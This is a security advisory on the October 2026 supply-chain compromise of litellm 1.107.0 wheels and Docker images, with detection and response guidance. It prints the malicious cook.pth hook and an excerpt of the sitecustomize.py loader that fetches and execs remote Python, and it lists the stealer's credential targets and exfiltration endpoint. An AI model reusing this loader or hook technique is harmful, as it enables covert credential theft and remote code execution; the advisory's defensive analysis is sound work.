CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-522, CWE-532
Affected Surface
- PyPI `litellm==1.107.0`: all seven compiled wheels (macOS x86_64 and arm64, manylinux and musllinux x86_64 and aarch64, Windows amd64), live from 11:39 to 13:23 UTC on 21 October 2026. The sdist did not contain the payload.
- Docker images `ghcr.io/berriai/litellm`, `ghcr.io/berriai/litellm-database`, `ghcr.io/berriai/litellm-non_root`, and `docker.io/litellm/litellm` at tags `v1.107.0`, `latest`, `main-latest`, and `main-stable` during the 11:46 to 14:20 UTC window
- LiteLLM Proxy deployments built from those artifacts, including the PostgreSQL `LiteLLM_CredentialsTable` holding upstream provider API keys
- CI runners, Kubernetes nodes, and developer workstations that ran `pip install litellm`, `uv pip install litellm`, or an unpinned `litellm` requirement during the window
Update, 24 October 2026: On 23 and 24 October, LiteLLM published its root-cause update, ruling out its earlier hypothesis that Claude Code had leaked gh OAuth tokens into gateway response-body logs. Instead, the intrusion traced back to 27 May 2026, when a configuration file containing the master key for an internal deployment of the open-source LiteLLM Agent Platform was committed to the public LiteLLM-Labs/lite-harness repository. The commit was force-pushed over at the time, but the master key itself was never revoked. On 10 October 2026, an attacker operating from 69.48.229[.]143 used that unrevoked master key to access the Agent Platform and extract an unscoped GitHub CLI OAuth token belonging to a BerriAI organization owner. According to LiteLLM and Socket’s workflow forensics, at 22:11:45 UTC on 10 October (and again on 12 October), the attacker created short-lived branches named ci-tmp-a351cc and ci-tmp-4d8517 on BerriAI/litellm and BerriAI/litellm-auto, pushed a commit titled ci: bump cache config that added .github/workflows/cache.yml (on: [push]), and deleted the branches and run logs within minutes. Those two workflow runs exfiltrated two additional maintainers’ gh CLI OAuth tokens, a GitHub App signing key, GITGUARDIAN_API_KEY, Playwright browser session state (E2E_LINEAR_STORAGE_STATE_B64), PostgreSQL and Redis credentials, and API keys for Anthropic, OpenAI, AWS Bedrock, Together AI, and Tavily to webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37 and webhook[.]site/4da03473-a3e7-4dc2-a087-9c564b4208e1. Separately, Microsoft Security Research published its analysis of the PRIVCOLLECT payload on 23 October, documenting the CRLF startup-file hashes inside the Windows wheel (cook.py 03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea, sitecustomize.py b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465, and cook.pth 84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d) and noting that the OpenSSL encryption fallback stages data.bin, key.bin, and hdr.json inside temporary .pc_e_* directories via openssl enc -aes-256-cbc and openssl pkeyutl / rsautl.
Update, 22 October 2026: Late on 21 October (20:30 UTC), LiteLLM updated its advisory with the attack chain that yielded the three engineers’ GitHub CLI (gh) OAuth tokens. The team found an unexpected, innocuously named user account on BerriAI’s own internet-exposed internal LiteLLM proxy deployment. LiteLLM says it observed cases where Claude Code embeds a developer’s GitHub CLI OAuth token into a response body, and when response body logging is enabled on a LiteLLM gateway, those tokens land in the proxy’s logs. On Monday, 19 October, BerriAI had temporarily widened permissions on its private project-releaser repository so two engineers could ship daily customer backports. One of the three tokens stolen from the internal gateway logs belonged to one of BerriAI’s two GitHub organization owners. At 10:08:29 UTC on 21 October, GitHub branch protection rejected the attacker’s first attempt to modify the private release workflow to accept an external repository; five seconds later (10:08:34 UTC), the attacker used the organization owner’s token to disable branch protection, force-push the workflow edit, and point the releaser at Berri-AI/litellm. Separately, GitHub shipped an opt-in setting on 21 October for expiring, auto-refreshing gh CLI OAuth tokens, and teams running LiteLLM gateways with Claude Code should scrub response-body logs and rotate any gh tokens that passed through them.
LiteLLM has been hit again. Malicious LiteLLM releases already reached PyPI in March as part of the TeamPCP campaign that shipped 1.82.7 and 1.82.8. The 21 October incident deserves its own write-up because the source tag looked clean. The v1.107.0 tag on BerriAI/litellm points to an ordinary signed commit, and the sdist on PyPI has no payload. The malware only exists in the compiled wheels and container images, and it got there through a build-configuration line that most reviewers would skim past.
If you installed litellm==1.107.0 or pulled any of the affected Docker tags, treat the host as compromised and rotate everything it could reach. The rest of this article explains why that advice is not overcautious.
Affected artifacts
| Artifact | Tags or versions | Exposure window (21 Oct 2026, UTC) |
|---|---|---|
PyPI litellm | 1.107.0, all seven wheels | 11:39:51 to 13:23 |
docker.io/litellm/litellm | v1.107.0, latest, main-latest, main-stable | 11:46:56 to 14:20 |
ghcr.io/berriai/litellm | v1.107.0, latest, main-latest, main-stable | 11:46:56 to about 13:51 |
ghcr.io/berriai/litellm-database | same tags | 11:46:56 to about 13:51 |
ghcr.io/berriai/litellm-non_root | same tags | 11:46:56 to about 13:51 |
StepSecurity and the reporter of issue #47826 inspected the neighbouring releases. 1.106.2, 1.106.1, 1.107.0rc1, and 1.107.0rc2 were clean, and LiteLLM lists 1.106.2 as the last safe version. LiteLLM also says customers on its private enterprise release were not affected.
Wheel hashes:
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
litellm-1.107.0-cp310-abi3-win_amd64.whl 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484
The compromised image index on Docker Hub and ghcr.io/berriai/litellm was sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e. Per-platform digests for ghcr.io/berriai/litellm:v1.107.0 were bd1aeee4...3ea5 (amd64) and 56b74573...bcdf (arm64). The Wiz IOC table lists the full digests for the -database and -non_root variants too.
How the release was built from the wrong repository
LiteLLM’s statement says the attacker used three engineers’ GitHub accounts, “appearing to be by way of stolen GitHub CLI OAuth tokens.” One account triggered a run of BerriAI’s private project-releaser workflow and another approved it. The SLSA provenance attached to every v1.107.0 image names that workflow (BerriAI/project-releaser run 39587059944, started 10:51 UTC) as the builder. The source it records is https://github.com/Berri-AI/litellm at commit 20535d8f. Note the hyphen. The same workflow had recorded the real BerriAI/litellm as the source for v1.106.2 at 09:15 UTC the same morning.
So the release system itself was legitimate and its publishing credentials were real. The input repository was swapped. Berri-AI/litellm now returns 404. Because it was created as a fork, though, its objects are still reachable through the parent repository, and the full range can be read at BerriAI/litellm/compare/a8113b0d...20535d8f:
9b98cd93 08:56:59 ckdi82fkoos@proton.me verified Add import statement cook/purelib/cook.pth
51020100 08:57:27 ckdi82fkoos@proton.me verified Change greeting cook/purelib/cook.py
7f7f9892 08:58:44 ckdi82fkoos@proton.me verified Add cook/purelib/sitecustomize.py
1a657baf 09:05:09 ckdi82fkoos@proton.me verified chore: set litellm version to 1.107.0
74983c8e 09:05:44 ckdi82fkoos@proton.me verified chore: set litellm-proxy-extras version to 0.4.110
615e57ff 09:06:07 ckdi82fkoos@proton.me verified chore: set litellm-enterprise version to 0.1.78
6a4390f1 09:06:46 ckdi82fkoos@proton.me verified chore: set uv.lock package versions to 1.107.0
91d6546f 09:45:13 ckdi82fkoos@proton.me verified Update print statement
783c43bc 09:48:21 ckdi82fkoos@proton.me verified Add
20535d8f 10:46:29 Berri-AI@users.noreply unsigned fix(docker): copy cook data into the rust-native stage
The first nine commits were made in the GitHub web UI, so they carry GitHub’s “verified” signature. A green badge tells you GitHub created the commit. It says nothing about whether the author should have been shipping code into your release. The commit messages (“Change greeting”, “Update print statement”) were written to look harmless in a log view.
The one-line build change that shipped the payload
The key edit is in pyproject.toml. LiteLLM builds its wheels with maturin because the package includes a Rust extension (litellm.rust_bridge._native). The attacker added a single key to the existing [tool.maturin] table:
[tool.maturin]
manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"
module-name = "litellm.rust_bridge._native"
python-source = "."
+data = "cook"
python-packages = ["litellm_cli"]
bindings = "pyo3"
features = ["extension-module"]
maturin’s data option tells it to copy a directory into the wheel’s .data section. Anything under cook/purelib/ becomes litellm-1.107.0.data/purelib/... inside the wheel. When pip or uv installs a wheel, the installer moves the contents of <name>.data/purelib/ into the root of site-packages, not into the litellm/ package directory. StepSecurity confirmed the first three RECORD entries in the manylinux wheel:
litellm-1.107.0.data/purelib/cook.pth,sha256=fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s,12
litellm-1.107.0.data/purelib/cook.py,sha256=ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU,22252
litellm-1.107.0.data/purelib/sitecustomize.py,sha256=NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo,25509
The sdist doesn’t need the cook/ directory to build, and the attacker didn’t include it. Anyone diffing the sdist against the tag would have seen nothing. The last commit then added the same directory to the container builds, so the Docker images picked up the payload through their own wheel build stage:
COPY pyproject.toml README.md rust-toolchain.toml ./
COPY .cargo ./.cargo
COPY litellm-rust ./litellm-rust
+COPY cook ./cook
That hunk appears in backend/Dockerfile, gateway/Dockerfile, and migrations/Dockerfile.
Two startup hooks, one install
Python’s site module processes every .pth file in site-packages at interpreter startup and executes any line that begins with import. The whole of cook.pth is twelve bytes:
import cook
That imports cook.py, a single line that zlib-decompresses and base64-decodes the stealer and passes it to exec. After installation, every python, pytest, gunicorn, celery, or pip process on the host runs the stealer before user code. It doesn’t matter whether anything ever imports litellm.
sitecustomize.py is the second hook. site imports a module named sitecustomize automatically if one is on the path. Wiz describes the pairing of a .pth hook with sitecustomize.py as the first documented case of the technique in the wild. The loader in the attacker’s commit is short enough to read in full. The parts that matter:
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"
async def exec_code(code):
loop = asyncio.get_running_loop()
await loop.run_in_executor(
_executor,
lambda: exec(compile(code, "<remote>", "exec"), {"__name__": "__main__"}),
)
async def run():
text = await fetch_text(GITHUB_RAW_URL)
domain = next(
(line.strip() for line in text.splitlines() if DOMAIN_RE.match(line.strip())),
None,
)
if not domain:
return
await resolve_domain(domain)
code = await fetch_text("http://{}{}".format(domain, CODE_PATH))
await exec_code(code)
def _daemonize():
pid = os.fork()
if pid > 0:
return False
os.setsid()
...
os.chdir("/")
return True
def _run_forever():
while True:
try:
asyncio.run(run())
except (Exception, SystemExit):
pass
time.sleep(LOOP_INTERVAL)
elif __name__ == "sitecustomize":
try:
main()
except Exception:
...
main() takes an exclusive, non-blocking flock on /tmp/remote_code_loader.lock, forks, calls setsid(), and points stdio at /dev/null. The detached child then polls a GitHub dead drop once an hour for a hostname and runs whatever Python it gets from http://<host>/codepy, with no sandbox and the privileges of whichever process started the interpreter. Errors and SystemExit are swallowed, so the loop doesn’t die.
Some details matter for triage:
- The loader depends on
fcntlandos.fork, so it only works on Linux and macOS. Wiz notes that on Windowscook.pystill runs, but its/tmp/marker path usually doesn’t exist. - StepSecurity reports that the first version of
sitecustomize.py(commit7f7f9892) used a 30-minute interval. The shipped version uses3600seconds. sitecustomize.pyalso carries a second copy of the stealer as a fallback.- When Wiz, Aikido, and AISLE checked,
domain.txtonly held test values or nothing at all, so no second stage was ever seen being served. GitHub has since removed theletters9813/pythonclient-testrepository. AISLE says the repository was created on 18 October, three days before the release.
What the stealer takes
Wiz says the stealer is internally named privcollect and has 16 collection modules. StepSecurity found that it exits early if PRIVCOLLECT_ACTIVE is set. Otherwise it sets that variable so child processes skip collection, then runs on a daemon thread so the host process doesn’t stall. Taken together, the three write-ups list these targets:
- Chromium-family and Firefox saved passwords, cookies, and history, including AES decryption of Chrome password blobs
~/.ssh/, GPG keys, TLS private keys, and Bash, Zsh, and Fish history~/.aws/, GCP application default credentials, Azure CLI and MSAL caches, plus live queries to the AWS, GCP, and Azure instance metadata services- Docker config, Docker Swarm secrets, and Kubernetes service account tokens
- GitLab runner configs, Jenkins admin passwords and master keys, and Vault tokens
.npmrc,.pypirc, pip config, and Git credentials- Config and credentials for Claude Code, Claude Desktop, Cursor, GitHub Copilot, Windsurf, Gemini CLI, Amazon Q, Codex CLI, Aider, Continue, and Hugging Face
- The current environment and, on Linux,
/proc/<pid>/environfor every process it can read - The LiteLLM Proxy database, queried directly:
SELECT * FROM "LiteLLM_CredentialsTable" LIMIT 500
Aikido also reports collection of LiteLLM_ProxyModelTable. On a gateway host, that one query returns every upstream provider key the proxy routes with. That is why this compromise hits LiteLLM users harder than a generic stealer would.
The data is packed into a tar archive, encrypted with AES-256-CBC under an RSA-4096-wrapped key, and POSTed to http://www[.]litellm[.]dev/healthcheck. The legitimate project uses litellm.ai. The request carries X-Token: XWiA8gZNa7NcX2XRoAEb and a Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0) User-Agent. A marker at /tmp/.pc_once_72129118c59f5636c0bb stops collection from repeating.
Stolen credentials were used within hours
Wiz saw the stolen credentials being used about 4.5 hours after exfiltration. Between 16:20 and 17:01 UTC, the attacker checked AWS instance-role credentials taken from compromised CI runners and Kubernetes nodes. Each check was an sts:GetCallerIdentity call followed by bedrock:ListFoundationModels and ListModels, which fits LLMjacking. In a few environments the attacker also ran iam:ListRoles, iam:ListUsers, iam:ListAccessKeys, along with discovery calls such as ListAccounts and DescribeTrails. The source IPs were 168.100.8[.]57 and 165.227.201[.]8.
Detection
Don’t start triage by running python on a host you suspect. If the hooks are present, any interpreter start runs the stealer again for that process tree, and the loader tries to come back. Look at the filesystem directly:
# startup hooks and markers, without starting an interpreter
find / -xdev \( -name cook.pth -o -name cook.py -o -name sitecustomize.py \) \
-path '*site-packages*' 2>/dev/null
ls -la /tmp/.pc_once_72129118c59f5636c0bb /tmp/remote_code_loader.lock 2>/dev/null
# a running loader holds the lock file open
lsof /tmp/remote_code_loader.lock 2>/dev/null
# installed version from dist-info metadata
find / -xdev -path '*site-packages/litellm-*.dist-info/METADATA' \
-exec grep -H '^Version:' {} \; 2>/dev/null
Known file hashes on Linux and macOS (Wiz lists separate Windows hashes):
cook.pth 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
cook.py 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
sitecustomize.py 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
For containers, compare running and cached image digests against the compromised index and per-platform digests above:
docker images --digests | grep -E 'litellm'
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{range .status.containerStatuses[*]}{.imageID}{"\n"}{end}{end}' \
| grep -i litellm
In repositories and lockfiles, look for floating references that could have resolved to 1.107.0 or to the moving Docker tags during the window:
rg -n 'litellm(\[[^]]*\])?\s*(>=|~=|\^)|litellm==1\.107\.0|litellm/litellm:(latest|main-latest|main-stable|v1\.107\.0)|berriai/litellm[^:]*:(latest|main-latest|main-stable|v1\.107\.0)' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock Dockerfile* docker-compose*.yml compose*.yml helm k8s .github 2>/dev/null
On the network side, look for egress to litellm[.]dev, for raw.githubusercontent.com requests to letters9813/pythonclient-test, and for HTTP requests carrying the X-Token value above. In CloudTrail, look for GetCallerIdentity followed by bedrock:ListFoundationModels from the two IPs Wiz published.
Response
- Isolate affected hosts. Kill the process holding
/tmp/remote_code_loader.lock, then deletecook.pth,cook.py,sitecustomize.py, and their__pycache__entries from every site-packages directory.pip uninstall litellmcan’t stop a loader that is already running or undo collection that has already happened, so don’t stop there. - Rebuild virtualenvs and images from scratch, pinned to
litellm==1.106.2or a later release LiteLLM confirms clean. Pin Docker images by digest, not bylatestormain-stable. - Rotate every provider key stored in
LiteLLM_CredentialsTable, plus cloud, Kubernetes, CI, registry, SSH, and AI-tool credentials that were present on the host or in any process environment. On cloud instances, assume the instance-role session was taken and review its activity from 11:39 UTC on 21 October onward. - Check for second-stage activity even though none was seen. Look for outbound connections to unexpected hosts from Python processes that were running from 11:39 UTC on 21 October onward.
Lessons for build pipelines
A few things made this release hard to catch with the usual controls:
- The tag, sdist, and default-branch source were clean. Only the built artifacts carried the payload. Comparing a wheel’s
RECORDagainst the previous release would have shown three new top-level files immediately. Gating on any.data/purelib/*.pthorsitecustomize.pyentry is cheap. - The release workflow accepted a source repository as an input, and an approval gate didn’t help once the attacker held a second account to approve with. Hard-code the source repository in release workflows and check
github.repositoryagainst an allowlist before building. - The provenance was accurate. It named
Berri-AI/litellmas the source, and nobody was checking that field. Provenance only helps if a consumer or the publishing step checkssource.uriagainst an expected value.
LiteLLM says it has removed all but one unaffected user from its GitHub organization and removed trusted-publisher links from its registries while the investigation continues. Our earlier coverage of LiteLLM’s CI/CD exposure and the MCP streamable HTTP auth bypass covers other parts of the same deployment surface.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- LiteLLM: Oct 21, 2026 release v1.107.0 compromised
- BerriAI/litellm issue #47826
- Attacker commit range (reachable through fork object sharing)
- Wiz: LiteLLM compromised, steals credentials
- Aikido: LiteLLM compromised again, infostealer and RAT found in 1.107.0
- StepSecurity: litellm 1.107.0 compromised on PyPI
- AISLE: compromised LiteLLM package flagged 3 minutes after release
- Datadog Security Labs: LiteLLM supply chain compromise, what you need to know
- The Hacker News: LiteLLM suspects GitHub token leak in AI gateway logs behind malicious package release
- The Hacker News: Leaked LiteLLM master key let attackers steal GitHub tokens and hijack release pipeline
- Microsoft Security Blog: Inside the LiteLLM 1.107.0 supply chain compromise
- JFrog Security Research: LiteLLM hijacked again, malicious 1.107.0 wheels steal credentials
- GitHub Changelog: GitHub CLI opt-in to expiring, auto-refreshing OAuth tokens